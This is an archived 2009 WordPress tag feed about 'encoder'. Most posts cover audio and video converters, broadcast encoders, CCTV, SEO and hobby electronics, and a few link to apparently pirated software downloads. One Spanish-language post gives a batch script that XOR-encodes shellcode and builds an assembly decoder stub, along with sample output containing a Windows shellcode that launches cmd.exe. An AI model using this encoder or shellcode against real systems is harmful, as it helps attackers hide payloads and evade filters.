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	<title>encoder &amp;laquo; WordPress.com Tag Feed</title>
	<link>http://en.wordpress.com/tag/encoder/</link>
	<description>Feed of posts on WordPress.com tagged "encoder"</description>
	<pubDate>Sat, 28 Nov 2009 05:38:13 +0000</pubDate>

	<generator>http://en.wordpress.com/tags/</generator>
	<language>en</language>

<item>
<title><![CDATA[Wordpress welcomes Jebra!]]></title>
<link>http://joemarieamparo.wordpress.com/2009/11/28/wordpress-welcomes-jebra/</link>
<pubDate>Sat, 28 Nov 2009 02:07:41 +0000</pubDate>
<dc:creator>joemarieamparo</dc:creator>
<guid>http://joemarieamparo.wordpress.com/2009/11/28/wordpress-welcomes-jebra/</guid>
<description><![CDATA[Today would be the start of my blogging episode and I am starting it here, right here in wordpress.c]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img class="alignleft size-large wp-image-3109" title="Jebra: The Blogger" src="http://joemarieamparo.wordpress.com/files/2009/11/jebra2.jpg" alt="Jebra" height="425" /></p>
<p>Today would be the start of my blogging episode and I am starting it here, right here in wordpress.com. This excite me so much because starting this day, I can now put into writing what I feel and think about anything and everything. I can also blog in here my idea about what is current and the upcoming happening or event. It maybe about my personal life, the society, politics, showhiz and everything under this earth worth the talking.</p>
<p>I crossing my fingers that someone will follow me here in wordpress and on <a href="http://twitter.com/joemarieamparo" target="_blank">twitter</a> and give comment on my blogs. I am aiming a significant number. I know this means a lot of work, a lot of ideas to burst into writings. And I mean good writings.</p>
<p>So guys, keep in touch and stay updated by constantly visiting my new place.</p>
<p><a href="http://www.joemarieamparo.multiply.com/" target="_blank">Click here for more of Jebra!</a>  </p>
<p>Thank you very much in advance.</p>
<blockquote><p>&#8220;When I examine myself and my methods of thought, I come to the conclusion that the gift of fantasy has meant more to me than my talent for absorbing positive knowledge. -Albert Einstein<br />
1879-1955&#8243;</p></blockquote>
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<item>
<title><![CDATA[AudioEdit Deluxe]]></title>
<link>http://jaychillemiin.wordpress.com/2009/11/09/audioedit-deluxe/</link>
<pubDate>Mon, 09 Nov 2009 03:59:22 +0000</pubDate>
<dc:creator>jaychillemiin</dc:creator>
<guid>http://jaychillemiin.wordpress.com/2009/11/09/audioedit-deluxe/</guid>
<description><![CDATA[AudioEdit Deluxe is a visual audio editor and converter software solution, which supports many advan]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img src="http://jaychillemiin.wordpress.com/files/2009/11/400946_1.jpg?w=300" alt="encoder" title="encoder" width="300" height="191" class="alignnone size-medium wp-image-38" />AudioEdit Deluxe is a visual audio editor and converter software solution, which supports many advanced and powerful operations with audio data.  With AudioEdit Deluxe you can perform two-way conversions among CD, MP3, MP2, WAV, WMA, and OGG; open, create, and save audio files in any of the supported formats (can also save any portion of a loaded file to disk as a new file); display audio data waveform (Zoom Full, Zoom In, Zoom Out, Zoom Vertical); play audio files or any portion of the files (Play, Pause, Stop); record audio data from a microphone or any other available input device; edit audio files visually (Cut, Copy, Delete Selection, Crop, Trim, Paste, Paste From File, Mix, Mix From File); apply various effects (Amplify, Chorus, Compressor, Distortion, Echo, Fade In and Fade Out, Flanger, Gargle, Normalize, Pitch, Resample, Reverb, Reverse, Shrink, Silence, Stretch, Tempo); apply different filters to any selected portion of audio files; insert noise or silence into audio files; Insert information into audio files (album, artist, copyright, genre, title, year); complete undo and redo capabilities; advanced, burn-proof audio CD recording; and much more.  The following audio formats are supported by the audio editing and playback module:  WAV PCM; Compressed WAV (ADPCM, GSM, DSP, A-LAW, U-LAW, ALF2, and more); MP3 (MPEG Layer-3); MP2 (MPEG Layer-2); OGG Vorbis; WMA (Windows Media Audio); AC3, AAC, FLAC, AU (Unix Audio), AIFF (Apple Audio), RAW (PCM, A-LAW, U-LAW); CDA (Audio CD Tracks), and ALAC, WavPack.</p>
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<title><![CDATA[Encoder de la musique sous Ubuntu]]></title>
<link>http://ubuntuauquotidien.wordpress.com/2009/11/03/encoder-de-la-musique-sous-ubuntu/</link>
<pubDate>Tue, 03 Nov 2009 17:09:14 +0000</pubDate>
<dc:creator>pong123</dc:creator>
<guid>http://ubuntuauquotidien.wordpress.com/2009/11/03/encoder-de-la-musique-sous-ubuntu/</guid>
<description><![CDATA[Soundconverter le logiciel qui vous permet de convertir d&#8217;un format à l&#8217;autre vos musiqu]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img class="alignnone size-full wp-image-443" title="soundconverter" src="http://ubuntuauquotidien.wordpress.com/files/2009/11/soundconverter.png" alt="soundconverter" width="84" height="84" /></p>
<p><strong>Soundconverter </strong>le logiciel qui vous permet de convertir d&#8217;un format à l&#8217;autre vos musiques.</p>
<p>Pour l&#8217;installer allez le chercher dans la &#8220;Logithèque Ubuntu&#8221;.</p>
<p><img class="alignnone size-full wp-image-444" title="Capture-Logithèque Ubuntu" src="http://ubuntuauquotidien.wordpress.com/files/2009/11/capture-logitheque-ubuntu.png" alt="Capture-Logithèque Ubuntu" width="379" height="222" /></p>
<p>Lancez le programme depuis Applications &#62;&#62;  Son et vidéo</p>
<p><!--more--></p>
<p>Allez cherchez le fichier que vous désirez convertir. Dans l&#8217;exemple le fichier de départ est un mp3.</p>
<p><img class="alignnone size-full wp-image-449" title="SoundConverter" src="http://ubuntuauquotidien.wordpress.com/files/2009/11/soundconverter1.png" alt="SoundConverter" width="379" height="379" /></p>
<p>Puis allez dans Édition &#62;&#62; Préférences.</p>
<p>Sélectionnez le format de sortie. Ici c&#8217;est le Wav</p>
<p>et cocher la case en bas en mettant 48000.</p>
<p><img class="alignnone size-full wp-image-453" title="Capture-Préférences" src="http://ubuntuauquotidien.wordpress.com/files/2009/11/capture-preferences.png" alt="Capture-Préférences" width="378" height="471" /></p>
<p>et cliquez sur &#8220;convertir&#8221;</p>
<p><img class="alignnone size-full wp-image-450" title="3" src="http://ubuntuauquotidien.wordpress.com/files/2009/11/31.png" alt="3" width="379" height="379" /></p>
<p>Voila c&#8217;est fait.</p>
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<title><![CDATA[Adtec Encoders Send Four Concurrent GIGE Routes per Destination]]></title>
<link>http://blog.satcomresources.com/2009/11/02/adtec-hd422-encoders-send-four-concurrent-gige-routes-per-destination/</link>
<pubDate>Mon, 02 Nov 2009 22:37:42 +0000</pubDate>
<dc:creator>satcomresources</dc:creator>
<guid>http://blog.satcomresources.com/2009/11/02/adtec-hd422-encoders-send-four-concurrent-gige-routes-per-destination/</guid>
<description><![CDATA[Adtec&#8217;s HD422 Encoders can send Four CONCURRENT (same time) GIGE routes (IP destinations) of t]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Adtec&#8217;s <a href="http://www.satcomresources.com/ADTEC-mediaHUB-HD-422-Encoder"><b>HD422 Encoders</b></a> can send Four CONCURRENT (same time) GIGE routes (IP destinations) of the transport stream with unique configuration and FEC (SMPTE 2022) setting per destination! These routes are concurrent with ASI operational and internal constant capture with the hard drive if the TS rate is lower than 40 Mbs (old PATA hard drive limitation). </p>
<p><img src="http://www.satcomnow.com/satcom/images/diagrams/ADTEC_4IP_d1.jpg" /></p>
<p>Adtec HD422 can encode four (4) MPEG 1 Layer 2 {they even support phase alignment of the MPEG 1 Layer 2 audio allowing surround sound without external processors when using the Tandberg TT1290 IRD}. Encoding also supports two (2) Dolby AC3 and two (2) MPEG 1 Layer 2 or any combination up to two each. Example, Encode one (1) Dolby AC3 and encode three (3) MPEG 1 Layer 2 audios.</p>
<p>Adtec can passthrough Dolby AC3/5.1/E, LPCM and Linear Acoustic E2. Passthrough support is via SDI and or AES. We can passthrough up to two (2) compressed Dolby (AC3/5.1/E) or Linear Acoustic E2 or two (2) SMPTE 302M (LPCM) audio streams. Dolby E, E2 and LPCM each take 2.308 Mbs.</p>
<p>Throughput for the 2.308 data rate:<br />
Dolby E supports 4&#215;2 or 5.1+2 (8 channels)<br />
LPCM supports stereo audio (2 channels)<br />
Linear Acoustic Stream Stacker E2 supports two (2) sets 4&#215;2 or 5.1+2 or a total of sixteen (16) channels. E2 is equivalent to two (2) Dolby E boxes.<br />
Base model NTT 9100 can pass one SMPTE 302M (nomenclature they use for Dolby E) and encode 2 MPEG 1 Layer 2. By adding NTTs additional audio board, they can pass two (2) SMPTE302M and even claim to pass four (4) with a very unique method with no audio encode capabilities with either two (2) or four (4) Dolby E passthrough. NTT is limited to TWO PIDs total when in passthrough mode. They claim they can passthrough four (4) Dolby E by combining two Dolby E payloads per AES3. This requires external audio processing to mix two Dolby E payloads onto a 96 Khz AES3 interface and requires sharing a single PID for two (2) Dolby E payloads. NTTs four (4) Dolby E passthrough lacks interoperability and Adtec deems it as very fragile because there is no control or monitoring at the transport layer nor lip sync adjustment per Dolby E stream; they are grouped in pairs of Dolby E. Simply put, they adjust the PID therefor both audios get the same adjustment. I would argue that Adtec and NTT can both passthrough two (2) Dolby E payloads. The Adtec  advantage is  the ability to pass two (2) and still encode two (2) MPEG 1 Layer 2 audios.<br />
<img src="http://www.satcomnow.com/satcom/images/diagrams/ADTEC_Bars_Tones_d1.jpg" /><br />
<a href="http://www.satcomresources.com/satcomvsat/MPEG-Encoders">&#8230;for more on <b>MPEG Encoders</b></a></p>
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<title><![CDATA[Digital tuner reverse engineering]]></title>
<link>http://hackaday.com/2009/10/27/digital-tuner-reverse-engineering/</link>
<pubDate>Tue, 27 Oct 2009 17:00:51 +0000</pubDate>
<dc:creator>Mike Szczys</dc:creator>
<guid>http://hackaday.com/2009/10/27/digital-tuner-reverse-engineering/</guid>
<description><![CDATA[Hackaday alum [Ian Lesnet] tipped us off about some reverse engineering of the HVR-1600, an analog a]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img class="alignnone size-full wp-image-17822" title="hvr-1600-i2c-sniffing" src="http://hackadaycom.wordpress.com/files/2009/10/hvr-1600-i2c-sniffing.jpg" alt="hvr-1600-i2c-sniffing" width="470" height="344" /></p>
<p>Hackaday alum [<a href="http://dangerousprototypes.com/">Ian Lesnet</a>] tipped us off about some <a href="http://www.kernellabs.com/blog/?p=1003">reverse engineering of the HVR-1600</a>, an analog and digital television encoder/tuner. The project was spawned when [Devin] noticed his Hauppauge HVR-1600 didn&#8217;t tune channels in Linux quite as well as it did in Windows. He had a hunch this was due to improper initialization settings for either the tuner chip or the demodulator.</p>
<p>To fix this he used two test points on the board to tap into the <a href="http://en.wikipedia.org/wiki/I2c">I2C bus</a>. Using <a href="http://hackaday.com/2009/03/06/tools-saleae-logic-logic-analyzer/">a logic analyzer</a> he captured the command traffic from the bus while running Linux, then while running Windows. By filtering the results with a bit of Perl, and comparing them by using <a href="http://linux.die.net/man/1/diff">diff</a>, he tracks down and finds the variation in the commands being sent by the two drivers. After a bit of poking around in the Linux source and making the necessary changes, he improved the tuning ability of the Linux package.</p>
<p>[Devin's] work looks simple enough, and it is. The difficult part of this process is being smart enough to know what you&#8217;re looking for, and what you&#8217;ve got once you&#8217;ve found it.</p>
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<title><![CDATA[ImTOO MPEG Encoder Ultimate 5.1.26.1016]]></title>
<link>http://freemediasite.wordpress.com/2009/10/20/imtoo-mpeg-encoder-ultimate-5-1-26-1016/</link>
<pubDate>Tue, 20 Oct 2009 20:50:19 +0000</pubDate>
<dc:creator>admin</dc:creator>
<guid>http://freemediasite.wordpress.com/2009/10/20/imtoo-mpeg-encoder-ultimate-5-1-26-1016/</guid>
<description><![CDATA[DOWNLOAD NOW! Описание: Вышла новая версия программы ImTOO MPEG Encoder Ultimate &#8211; самый мощны]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p></p>
<div style="text-align:center;"><img src="http://freemediasite.wordpress.com/files/2009/10/imtoo-mpeg.jpg" alt="ImTOO MPEG Encoder Ultimate 5.1.26.1016" /><br />
<br /><a href="http://letitbit.net/download/0406.0ea181a73a56d5eb31e56edb7c/ImTMPEG.Enc.Ulti.5.1.26.1016.rar.html">DOWNLOAD NOW!</a></div>
<p></p>
<div style="font-style:italic;">Описание: </div>
<p></p>
<div style="text-align:justify;">Вышла новая версия программы ImTOO MPEG Encoder Ultimate &#8211; самый мощный из линейки от ImTOO Software Studio, высококачественный конвертор широкого спектра видео-файлов . Позволяет конвертировать файлы любых форматов, таких как AVI, MPEG, DivX, WMV, MP4, MOV, FLV, 3GP, PSP MPEG-4, iPod MPEG-4 и т.д. Помимо этого программа может извлекать аудиодорожку из видео-файлов, конвертировать большинство популярных звуковых форматов, таких как MP3, WMA, WAV, AAC, M4A и т.д. С помощью ImTOO MPEG Encoder можно быстро и с высоким качеством конвертировать любой файл в мобильные форматы 3GP, FLV, PSP, Zune, iPod, iPhone, Apple TV для дальнейшего использования в портативных устройствах. Имеется два режима работы программы: расширенны и пошаговый, с помощником. Начинающему пользователю легче работать в пошаговом режиме, а опытному пользователю предоставляется возможность использовать множество настроек для конвертирования видео в расширенном режиме.<br />
<br />
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</div>
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<item>
<title><![CDATA[Lojik devre tasarimlarim ]]></title>
<link>http://olcayozyilmaz.wordpress.com/2009/10/20/lojik-devre-tasarimlarim/</link>
<pubDate>Tue, 20 Oct 2009 18:22:34 +0000</pubDate>
<dc:creator>Olcay Özyılmaz</dc:creator>
<guid>http://olcayozyilmaz.wordpress.com/2009/10/20/lojik-devre-tasarimlarim/</guid>
<description><![CDATA[.ewb uzantılı dosyalar ve bazı projeler için duzenlenmiş ayrıntılı raporları, resimleri, dokumanlari]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>.ewb uzantılı dosyalar ve bazı projeler için duzenlenmiş ayrıntılı raporları, resimleri, dokumanlari vs <a title="Lojik tasarımlar" href="http://rapidshare.com/files/295613562/Lojik.rar.html" target="_blank">buradan</a> indirebilirsiniz&#8230; Ancak dosyaları derleyip duzenleyemedim biraz karısık olabilir.</p>
<ul>
<li>2 sayının alu da toplanması.estetik.ewb</li>
<li>banka otomasyon devresi tasarımı</li>
<li>kayan yazı tasarımları</li>
<li>çeşitli led animasyon tasarimlar</li>
<li>flipflop.ewb</li>
<li>ALU.ewb</li>
<li>2 sayının alu da toplanması.ewb</li>
<li>full adder.ewb</li>
<li>half adder.ewb</li>
<li>olcay kronometre.ewb</li>
<li>multiplex 8 to 1 .ewb</li>
<li>dimultiplex 1 to 8 .ewb</li>
<li>74154.ewb</li>
<li>dimultiplex 1 to 8 .ewb</li>
<li>multiplex 8 to 1 .ewb</li>
<li>7 segment.ewb</li>
<li>4 bitlik sayi topla halfadder.ewb</li>
<li>4 bitlik 2 sayı topla.ewb</li>
<li>cıkarma devresi.ewb</li>
<li>decoder.ewb</li>
<li>shiftregister74194.ewb</li>
</ul>
<p>ve cok daha fazlası&#8230;..</p>
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<title><![CDATA[IP is the only viable option when compared to analogue or hybrid CCTV systems]]></title>
<link>http://controlware.wordpress.com/2009/10/09/ip-is-the-only-viable-option-when-compared-to-analogue-or-hybrid-cctv-systems/</link>
<pubDate>Fri, 09 Oct 2009 10:21:41 +0000</pubDate>
<dc:creator>controlware</dc:creator>
<guid>http://controlware.wordpress.com/2009/10/09/ip-is-the-only-viable-option-when-compared-to-analogue-or-hybrid-cctv-systems/</guid>
<description><![CDATA[Even if an existing CCTV network has analogue cameras we can take these analogue feeds and convert t]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Even if an existing CCTV network has analogue cameras we can take these analogue feeds and convert them to IP via encoders either at the edge or in the control room, and once they are converted to IP, they are simply treated in the same way as any IP camera.  At this point some people will say that this is a hybrid solution, which in the truest sense of the word it is.  However, what we have achieved here is to start to implement IP at the edge which then allows us to build a complete IP infrastructure with all the benefits this brings rather than having the unhappy compromise of a hybrid solution at the most critical point of recording.</p>
<p>The benefits of IP that hybrid can’t offer are features such as iSCSI recording through RAID arrays to provide a 100% fail proof redundancy.  There is no single point of failure in the recording and storage system either in the individual discs, the recording servers or RAIDs.  The use of RAID arrays also brings in another key element in IP superiority – namely that as these solutions run over an IT platform, such a Windows Server, linked to industry standard storage. It becomes so much easier to build a scalable system, because the boxes have a larger capacity (the latest iSCSI are taking 16 x 2TB drives – so 28 TB of useable storage in only 7 inches / 17 ½ cm!) and you can just add additional capacity as required.  Standard IT platforms also deliver a more competitive market approach for purchasing additional or future upgrades of security systems and software capability.  IP based solutions offer further benefits such as intelligent alarm handling, and integration with other systems, such as intruder or access control, to promote a completely integrated solution.</p>
<p>If you are looking at expanding, migrating or a new CCTV solution, there should be no reason not to look at IP.  IP is here today. It’s reliable and offers so much more than hybrid. So why buy twice? Don’t Go Hybrid. Choose the superior IP option.</p>
<p><strong>Taken from Controlware Country Manager Mark Harraway’s “Why go hybrid?” article as published in the September edition of Professional Security Magazine.</strong> <strong>To read the complete article click <a href="http://cli.gs/bnP8m0">here.</a></strong></p>
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<title><![CDATA[Tips On Writing An Article That Will Help You Promote Your Website ]]></title>
<link>http://philippineseoexperts.wordpress.com/2009/10/05/tips-on-writing-an-article-that-will-help-you-promote-your-website/</link>
<pubDate>Mon, 05 Oct 2009 10:25:32 +0000</pubDate>
<dc:creator>admin</dc:creator>
<guid>http://philippineseoexperts.wordpress.com/2009/10/05/tips-on-writing-an-article-that-will-help-you-promote-your-website/</guid>
<description><![CDATA[Writing an article is just easy for a writer if he know how to give his readers informative, unique,]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p style="text-align:justify;"><img class="alignleft size-medium wp-image-108" style="border:1px solid black;" title="article-writing-tips" src="http://philippineseoexperts.wordpress.com/files/2009/10/article-writing-tips.jpg?w=244" alt="article-writing-tips" width="200" height="200" />Writing an article is just easy for a <strong><a href="http://www.webseoservices.net/services" target="_blank">writer</a></strong> if he know how to give his readers informative, unique, and relevant content. Writing relevant content that speaks to the subject of your website can help your website be picked by the crawlers for higher ranking in search engines results. You should also use keywords that that a user needs when he wants to find products or services that you are offering in your site.  There are <strong><a href="http://philippineseoexperts.wordpress.com/2009/10/05/tips-on-writing-an-article-that-will-help-you-promote-your-website" target="_self">tips</a></strong> to know in writing articles that will surely help you promote your site.</p>
<p style="text-align:justify;">The first thing you should know is the importance of promotion. Even how good the content of your article is, if you did not promoted it properly, then it is useless. It still won’t help to promote your website. The most effective method to optimize your website is to write articles that speak about the product and services of your website to promote. And also it should be published to major article directories.</p>
<p><strong><!--more--></strong></p>
<p style="text-align:justify;">Second thing you should know is, know how well the content of your article. Your article’s content must be keyword rich, revealing and convincing so the readers will be attracted to what you are offering. It should also contain links that point to your site. That will help readers to click your website if they feel interested with your article content.</p>
<p style="text-align:justify;">The third thing you should know is the importance of back links. If you have a links that point to your website in your article that really attracts readers, then that would help your site be optimized and get higher rank on search engines especially if you’ll get more clicks from that links.</p>
<p style="text-align:justify;">And the lastly, you should also know your expertise in writing. Writing an informative and unique content for your article really needs time. Not all are good in writing articles that can bring a website to a higher page rank. Others are hiring writers that will help them write an article that can really stimulate readers and will click the links that point to their website.</p>
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<title><![CDATA[JSON on PyS60]]></title>
<link>http://typingzandi.wordpress.com/2009/09/27/json-on-pys60/</link>
<pubDate>Sun, 27 Sep 2009 18:30:36 +0000</pubDate>
<dc:creator>Nima Zandi</dc:creator>
<guid>http://typingzandi.wordpress.com/2009/09/27/json-on-pys60/</guid>
<description><![CDATA[Hi, I&#8217;m currently working on a project for a Nokia N95 8Gb device, using Python for S60 (PyS60]]></description>
<content:encoded><![CDATA[Hi, I&#8217;m currently working on a project for a Nokia N95 8Gb device, using Python for S60 (PyS60]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows Media Stream Editor]]></title>
<link>http://craigtavs.wordpress.com/2009/09/27/windows-media-stream-editor/</link>
<pubDate>Sun, 27 Sep 2009 01:14:01 +0000</pubDate>
<dc:creator>CraigT</dc:creator>
<guid>http://craigtavs.wordpress.com/2009/09/27/windows-media-stream-editor/</guid>
<description><![CDATA[Having just installed new hardware, I was doing my routine check of the Start menu to see what stran]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Having just installed new hardware, I was doing my routine check of the Start menu to see what strange new utilities had appeared. All the usual stuff &#8211; nVidia controls and Asus motherboard tools. What caught my attention, however, had nothing at all to do with the new hardware. Somewhere along the way, unnoticed by me, some Microsoft update or software install added a folder called &#8220;Windows Media&#8221;. Within is a Utilities folder and the Windows Media Encoder application. The stream encoder allows you to grab any media content from pretty much anywhere on your system and direct it to a file or other media output.</p>
<p>Under utilities is the Stream Editor application for which I have noted an immediate application. This is probably the easiest way I&#8217;ve found of merging two audio files, such as a guided visualisation or NLP content with a music file. Unfortunately it&#8217;s not possible to output to a non-Microsoft format such as MP3 (WMA /WMV/ASF only), but at least MS acknowledges that we may have accidentally deviated from the MS-way and acquired such files and allows them to be read and converted to proper MS files.</p>
<p>The &#8220;Convert File&#8221; option in Media Encoder (click &#8220;New Session&#8221; to see the options) does a fine job of converting the popular media file types to WMA or WMV with a choice of bitrates, with suggestions based on intended use.</p>
<p>I have yet to experiment, but there seems to be some very interesting possibilities with the &#8220;Capture Screen&#8221; option in the Media Encoder ap.</p>
<p>There&#8217;s a whole bunch of stuff that was new to me &#8211; I&#8217;ve not looked into streaming media beyond knowing it&#8217;s there and how to play it.</p>
<p>This is on an XP Pro machine that is kept thoroughly up to date. I haven&#8217;t looked for this little bundle on my Win2K or Vista Home machines, but I suspect there will be something similar hanging around on the Vista machine, if not the Win2K.</p>
<p>Cheers,<br />
Craig</p>
</div>]]></content:encoded>
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<item>
<title><![CDATA[SUPER Encoder for Linux improved]]></title>
<link>http://l33k.wordpress.com/2009/09/25/super-encoder-for-linux-improved/</link>
<pubDate>Fri, 25 Sep 2009 08:45:41 +0000</pubDate>
<dc:creator>l33k</dc:creator>
<guid>http://l33k.wordpress.com/2009/09/25/super-encoder-for-linux-improved/</guid>
<description><![CDATA[I improved the SUPER Encoder for Linux. SUPER Encode Here&#8217;s a screenie: The ZevenOS buddies pa]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>I improved the SUPER Encoder for Linux.</p>
<div id="attachment_37" class="wp-caption aligncenter" style="width: 310px"><a href="http://l33k.wordpress.com/files/2009/09/2009-09-25-103856_1280x800_scrot.png"><img class="size-medium wp-image-37  " title="2009-09-25-103856_1280x800_scrot" src="http://l33k.wordpress.com/files/2009/09/2009-09-25-103856_1280x800_scrot.png?w=300" alt="2009-09-25-103856_1280x800_scrot" width="300" height="234" /></a><p class="wp-caption-text">SUPER Encode</p></div>
<p style="text-align:center;">Here&#8217;s a screenie:</p>
<p>The ZevenOS buddies packed together a tar.gz with the deb files you need to install for debian based systems.<br />
Here you can find it: <a href="http://www.zevenos.com/wp-content/uploads/2009/09/encode.tar.gz">Download Encode</a></p>
<p>Dependency : <strong>gambas2</strong><br />
Everything else is packaged in: a <strong>new ffmpeg version + x264 ,libmp3lame and libfaad2</strong></p>
<p>Have fun !</p>
</div>]]></content:encoded>
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<item>
<title><![CDATA[: shc_encoder (Codificador de shellcodes)]]></title>
<link>http://sswteam.wordpress.com/2009/09/12/shc_encoder-codificador-de-shellcodes/</link>
<pubDate>Sat, 12 Sep 2009 23:31:21 +0000</pubDate>
<dc:creator>lShadowl</dc:creator>
<guid>http://sswteam.wordpress.com/2009/09/12/shc_encoder-codificador-de-shellcodes/</guid>
<description><![CDATA[Código: :: shc_encoder (Codificador de shellcodes) :: Autor: lShadowl; The Shadow :: Fecha de realiz]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:498px;text-align:left;margin:0;padding:6px;">:: shc_encoder (Codificador de shellcodes)
:: Autor: lShadowl; The Shadow
:: Fecha de realizacion: 07/08/09
:: Caracteristicas:
::	-Utiliza el metodo xor para encriptar.
:: 	-Proporciona el codigo fuente (en asm) para crear la rutina decodificadora correspondiente.
::	-Identifica la existencia de bytes nulos y saltos de linea.
::	-Cambia el metodo de encriptacion si es necesario para que no existan bytes nulos o saltos de linea.
:: Limitaciones:
::	-Tama?o maximo de la shellcode de entrada: 61423 bytes
::	-Formato de la shellcode de entrada: \x&#60;byte en hexadecimal&#62;. Ejemplo: \xc7\xe2\xf0\x52
@echo off
setlocal enabledelayedexpansion
if '%1==' (goto:err)
if exist %1 (for /f "delims=" %%a in (%1) do set shellcode=%%a) else (goto:err)
echo =Shellcode original: %shellcode%
set hexstr=0123456789abcdef&#38;&#38; set xor_value=9

:encode
set sc_sz=0&#38;&#38; set i=2&#38;&#38; set/a xor_value+=0x01&#38;&#38; set encoded_shellcode=
echo =^&#62;  Codificando Opcodes (xor 0x%xor_value%)...
:encode_loop
set current_byte=!shellcode:~%i%,2!&#38;&#38; set encodedbyte_hex=
if %current_byte%'==' (goto:test)
set/a encoded_byte=0x%current_byte%^^0x%xor_value%
call:d2h %encoded_byte%
if /i %hex:~-2% lss 10 set hex=0%hex:~-2%
set encoded_shellcode=%encoded_shellcode%\x%hex:~-2%
set/a i+=4&#38;&#38; goto:encode_loop

:test
echo =Shellcode codificada: %encoded_shellcode%
echo =^&#62;  Moviendo shellcode codificada a sc.shellcode...
echo %encoded_shellcode%&#62;sc.shellcode
echo =^&#62;  Buscando bytes nulos y saltos de linea en sc.shellcode...
for %%a in (\x00 \x0d\x0a) do (type sc.shellcode&#124;find "%%a"&#62;nul
	if !errorlevel!==0 (echo =^&#60;    %%a encontrado con: xor 0x%xor_value%
		goto:encode))

:len_loop
set var=!shellcode:~%sc_sz%,1!
if %var%'==' goto:build_decoder
set/a sc_sz+=1
goto:len_loop

:build_decoder
echo =^&#62;  Creando codigo fuente del stub decodificador...
set/a sc_sz/=4
set/a sc_sz+=0x1010
call:d2h %sc_sz%
echo ****************%hex: =%%xor_value%_decoder.asm********
(echo [BITS 32]
echo global ini
echo ini:
echo 	jmp short sc_data
echo decode_routine:
echo   	pop ebx
echo 	xor ecx,ecx
echo 	mov cx, 0x%hex: =%
echo 	sub cx, 0x1010
echo decode_loop:
echo 	xor byte [ebx], 0x%xor_value%
echo 	inc ebx
echo 	loop decode_loop
echo 	jmp short shellcode
echo sc_data:
echo 	call decode_routine
echo shellcode:)&#62;%hex: =%%xor_value%_decoder.asm
type %hex: =%%xor_value%_decoder.asm&#38;&#38; echo *****************************************
echo =Codigo del decodificador guardado en %hex: =%%xor_value%_decoder.asm

echo.&#38;&#38; echo ^&#62;Proceso finalizado^&#60;

goto:eof
:err
echo Uso: shc_encoder.bat ^&#60;shellcode^&#62;&#38;&#38; goto:eof

:d2h
set dec=%1&#38;&#38; set hex=
:loop
set/a ths=%dec% %% 16
call :evals %%hexstr:~%ths%,1%%
if /I %dec% GEQ 16 (set /A dec=%dec%/16) else (goto:EOF)
goto:loop
:evals
set hex=%1%hex: =%&#38;&#38; goto:EOF</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->El codigo esta bastante entendible con etiquetas explicativas y los mensajes de salida del proceso.</p>
<p>Aqui una captura de salida del script trabajando:</p>
<p><!-- BEGIN TEMPLATE: bbcode_quote --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Cita:</div>
<table border="0" cellspacing="0" cellpadding="6" width="100%">
<tbody>
<tr>
<td class="alt2" style="border:1px inset;">=Shellcode original:</p>
<p>\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x  8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f  \xb7\x4a\x26\x31\xff\x31</p>
<p>\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\x  c7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0  \x8b\x40\x78\x85\xc0\x74</p>
<p>\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\x  e3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac  \xc1\xcf\x0d\x01\xc7\x38</p>
<p>\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x  8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01  \xd3\x8b\x04\x8b\x01\xd0</p>
<p>\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x  58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00  \x68\x31\x8b\x6f\x87\xff</p>
<p>\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\x  ff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00</p>
<p>=&#62;  Codificando Opcodes (xor 0&#215;10)&#8230;</p>
<p>=Shellcode codificada:</p>
<p>\xec\xf8\x99\x10\x10\x10\x70\x99\xf5\x21\xc2\x74\x  9b\x42\x20\x9b\x42\x1c\x9b\x42\x04\x9b\x62\x38\x1f  \xa7\x5a\x36\x21\xef\x21</p>
<p>\xd0\xbc\x2c\x71\x6c\x12\x3c\x30\xd1\xdf\x1d\x11\x  d7\xf2\xe0\x42\x47\x9b\x42\x00\x9b\x52\x2c\x11\xc0  \x9b\x50\x68\x95\xd0\x64</p>
<p>\x5a\x11\xc0\x40\x9b\x58\x08\x9b\x48\x30\x11\xc3\x  f3\x2c\x59\x9b\x24\x9b\x11\xc6\x21\xef\x21\xd0\xbc  \xd1\xdf\x1d\x11\xd7\x28</p>
<p>\xf0\x65\xe4\x13\x6d\xe8\x2b\x6d\x34\x65\xf2\x48\x  9b\x48\x34\x11\xc3\x76\x9b\x1c\x5b\x9b\x48\xc\x11\  xc3\x9b\x14\x9b\x11\xc0\</p>
<p>x99\x54\x34\x34\x4b\x4b\x71\x49\x4a\x41\xef\xf0\x4  8\x4f\x4a\x9b\x02\xfb\x96\x4d\xf9\x1e\x10\x10\x10\  x78\x21\x9b\x7f\x97\xef\</p>
